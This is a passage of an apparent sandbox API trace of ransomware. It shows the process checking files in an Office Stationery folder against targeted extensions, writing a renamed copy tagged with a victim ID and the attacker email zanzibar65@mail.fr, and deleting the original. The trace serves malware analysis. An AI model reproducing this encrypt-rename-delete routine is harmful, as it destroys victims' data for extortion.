lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.358] lstrlenW (lpString=".dbf") returned 4 [0041.358] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.358] lstrlenW (lpString=".1cd") returned 4 [0041.358] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.358] lstrlenW (lpString=".jpg") returned 4 [0041.358] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.358] lstrlenW (lpString=".doc") returned 4 [0041.358] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0041.358] lstrlenW (lpString=".docx") returned 5 [0041.358] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0041.358] lstrlenW (lpString=".pdf") returned 4 [0041.358] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0041.358] lstrlenW (lpString=".xls") returned 4 [0041.358] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0041.358] lstrlenW (lpString=".xlsx") returned 5 [0041.358] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0041.358] lstrlenW (lpString=".ppt") returned 4 [0041.358] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.358] lstrlenW (lpString=".zip") returned 4 [0041.358] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0041.358] lstrlenW (lpString=".rar") returned 4 [0041.358] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0041.358] lstrlenW (lpString=".bz2") returned 4 [0041.358] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0041.358] lstrlenW (lpString=".7z") returned 3 [0041.358] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.358] lstrlenW (lpString=".dbf") returned 4 [0041.359] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0041.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.359] lstrlenW (lpString=".1cd") returned 4 [0041.359] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0041.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.359] lstrlenW (lpString=".jpg") returned 4 [0041.359] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0041.359] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1 [0041.359] lstrlenW (lpString="Connectivity.gif") returned 16 [0041.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.359] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2319) returned 1 [0041.359] CloseHandle (hObject=0x1c4) returned 1 [0041.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0041.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.359] lstrlenW (lpString=".doc") returned 4 [0041.360] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0041.360] lstrlenW (lpString=".docx") returned 5 [0041.360] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0041.360] lstrlenW (lpString=".pdf") returned 4 [0041.360] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0041.360] lstrlenW (lpString=".xls") returned 4 [0041.360] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0041.360] lstrlenW (lpString=".xlsx") returned 5 [0041.360] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0041.360] lstrlenW (lpString=".ppt") returned 4 [0041.360] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0041.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.360] lstrlenW (lpString=".zip") returned 4 [0041.360] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0041.360] lstrlenW (lpString=".rar") returned 4 [0041.360] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0041.360] lstrlenW (lpString=".bz2") returned 4 [0041.360] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0041.360] lstrlenW (lpString=".7z") returned 3 [0041.360] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0041.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.360] lstrlenW (lpString=".dbf") returned 4 [0041.360] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0041.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.360] lstrlenW (lpString=".1cd") returned 4 [0041.360] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0041.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.360] lstrlenW (lpString=".jpg") returned 4 [0041.360] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0041.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.360] lstrlenW (lpString=".doc") returned 4 [0041.360] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0041.361] lstrlenW (lpString=".docx") returned 5 [0041.361] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0041.361] lstrlenW (lpString=".pdf") returned 4 [0041.361] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0041.361] lstrlenW (lpString=".xls") returned 4 [0041.361] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0041.361] lstrlenW (lpString=".xlsx") returned 5 [0041.361] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0041.361] lstrlenW (lpString=".ppt") returned 4 [0041.361] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0041.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.361] lstrlenW (lpString=".zip") returned 4 [0041.361] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0041.361] lstrlenW (lpString=".rar") returned 4 [0041.361] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0041.361] lstrlenW (lpString=".bz2") returned 4 [0041.361] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0041.361] lstrlenW (lpString=".7z") returned 3 [0041.361] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0041.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.361] lstrlenW (lpString=".dbf") returned 4 [0041.361] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0041.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.361] lstrlenW (lpString=".1cd") returned 4 [0041.361] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0041.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0041.361] lstrlenW (lpString=".jpg") returned 4 [0041.361] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0041.361] lstrcmpiW (lpString1=".ini", lpString2=".html") returned 1 [0041.361] lstrlenW (lpString="Desktop.ini") returned 11 [0041.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.362] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=645) returned 1 [0041.362] CloseHandle (hObject=0x1c4) returned 1 [0041.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0041.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.362] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.362] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.362] GetLastError () returned 0x0 [0041.362] ReadFile (in: hFile=0x1c4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x285, lpOverlapped=0x0) returned 1 [0041.363] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x290, lpOverlapped=0x0) returned 1 [0041.364] ReadFile (in: hFile=0x1c4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.364] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.364] SetEndOfFile (hFile=0x204) returned 1 [0041.365] CloseHandle (hObject=0x204) returned 1 [0041.367] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.367] SetEndOfFile (hFile=0x1c4) returned 1 [0041.367] CloseHandle (hObject=0x1c4) returned 1 [0041.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x26) returned 1 [0041.368] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0041.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.368] lstrlenW (lpString=".doc") returned 4 [0041.368] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0041.368] lstrlenW (lpString=".docx") returned 5 [0041.368] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0041.368] lstrlenW (lpString=".pdf") returned 4 [0041.368] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0041.368] lstrlenW (lpString=".xls") returned 4 [0041.368] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0041.368] lstrlenW (lpString=".xlsx") returned 5 [0041.368] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0041.368] lstrlenW (lpString=".ppt") returned 4 [0041.368] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0041.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.368] lstrlenW (lpString=".zip") returned 4 [0041.368] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0041.368] lstrlenW (lpString=".rar") returned 4 [0041.368] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0041.368] lstrlenW (lpString=".bz2") returned 4 [0041.368] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0041.368] lstrlenW (lpString=".7z") returned 3 [0041.369] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0041.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.369] lstrlenW (lpString=".dbf") returned 4 [0041.369] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0041.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.369] lstrlenW (lpString=".1cd") returned 4 [0041.369] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0041.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.369] lstrlenW (lpString=".jpg") returned 4 [0041.369] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0041.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.369] lstrlenW (lpString=".doc") returned 4 [0041.369] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0041.369] lstrlenW (lpString=".docx") returned 5 [0041.369] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0041.369] lstrlenW (lpString=".pdf") returned 4 [0041.369] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0041.369] lstrlenW (lpString=".xls") returned 4 [0041.369] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0041.369] lstrlenW (lpString=".xlsx") returned 5 [0041.369] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0041.369] lstrlenW (lpString=".ppt") returned 4 [0041.369] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0041.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.369] lstrlenW (lpString=".zip") returned 4 [0041.369] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0041.369] lstrlenW (lpString=".rar") returned 4 [0041.369] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0041.369] lstrlenW (lpString=".bz2") returned 4 [0041.369] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0041.369] lstrlenW (lpString=".7z") returned 3 [0041.369] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0041.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.370] lstrlenW (lpString=".dbf") returned 4 [0041.370] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0041.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.370] lstrlenW (lpString=".1cd") returned 4 [0041.370] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0041.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0041.370] lstrlenW (lpString=".jpg") returned 4 [0041.370] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0041.370] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0041.370] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0041.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.370] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3792) returned 1 [0041.370] CloseHandle (hObject=0x1c4) returned 1 [0041.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0041.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.373] lstrlenW (lpString=".doc") returned 4 [0041.373] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0041.373] lstrlenW (lpString=".docx") returned 5 [0041.373] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0041.373] lstrlenW (lpString=".pdf") returned 4 [0041.373] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0041.373] lstrlenW (lpString=".xls") returned 4 [0041.373] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0041.373] lstrlenW (lpString=".xlsx") returned 5 [0041.373] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0041.373] lstrlenW (lpString=".ppt") returned 4 [0041.373] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0041.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.373] lstrlenW (lpString=".zip") returned 4 [0041.373] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0041.373] lstrlenW (lpString=".rar") returned 4 [0041.373] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0041.373] lstrlenW (lpString=".bz2") returned 4 [0041.374] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0041.374] lstrlenW (lpString=".7z") returned 3 [0041.374] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0041.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.374] lstrlenW (lpString=".dbf") returned 4 [0041.374] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0041.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.374] lstrlenW (lpString=".1cd") returned 4 [0041.374] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0041.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.374] lstrlenW (lpString=".jpg") returned 4 [0041.374] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0041.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.374] lstrlenW (lpString=".doc") returned 4 [0041.374] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0041.374] lstrlenW (lpString=".docx") returned 5 [0041.374] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0041.374] lstrlenW (lpString=".pdf") returned 4 [0041.374] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0041.374] lstrlenW (lpString=".xls") returned 4 [0041.374] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0041.374] lstrlenW (lpString=".xlsx") returned 5 [0041.374] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0041.374] lstrlenW (lpString=".ppt") returned 4 [0041.374] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0041.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.374] lstrlenW (lpString=".zip") returned 4 [0041.374] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0041.374] lstrlenW (lpString=".rar") returned 4 [0041.374] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0041.374] lstrlenW (lpString=".bz2") returned 4 [0041.374] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0041.375] lstrlenW (lpString=".7z") returned 3 [0041.375] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.375] lstrlenW (lpString=".dbf") returned 4 [0041.375] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.375] lstrlenW (lpString=".1cd") returned 4 [0041.375] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0041.375] lstrlenW (lpString=".jpg") returned 4 [0041.375] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0041.375] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1 [0041.375] lstrlenW (lpString="Garden.htm") returned 10 [0041.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.375] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=231) returned 1 [0041.375] CloseHandle (hObject=0x1c4) returned 1 [0041.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0041.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.376] lstrlenW (lpString=".doc") returned 4 [0041.376] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0041.376] lstrlenW (lpString=".docx") returned 5 [0041.376] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0041.376] lstrlenW (lpString=".pdf") returned 4 [0041.376] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0041.376] lstrlenW (lpString=".xls") returned 4 [0041.376] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0041.376] lstrlenW (lpString=".xlsx") returned 5 [0041.376] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0041.376] lstrlenW (lpString=".ppt") returned 4 [0041.376] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0041.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.376] lstrlenW (lpString=".zip") returned 4 [0041.376] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0041.376] lstrlenW (lpString=".rar") returned 4 [0041.376] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0041.376] lstrlenW (lpString=".bz2") returned 4 [0041.376] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0041.376] lstrlenW (lpString=".7z") returned 3 [0041.376] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0041.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.376] lstrlenW (lpString=".dbf") returned 4 [0041.376] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0041.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.376] lstrlenW (lpString=".1cd") returned 4 [0041.376] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0041.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0041.376] lstrlenW (lpString=".jpg") returned 4 [0041.377] lstrcmpiW (lpString1=".jpg", 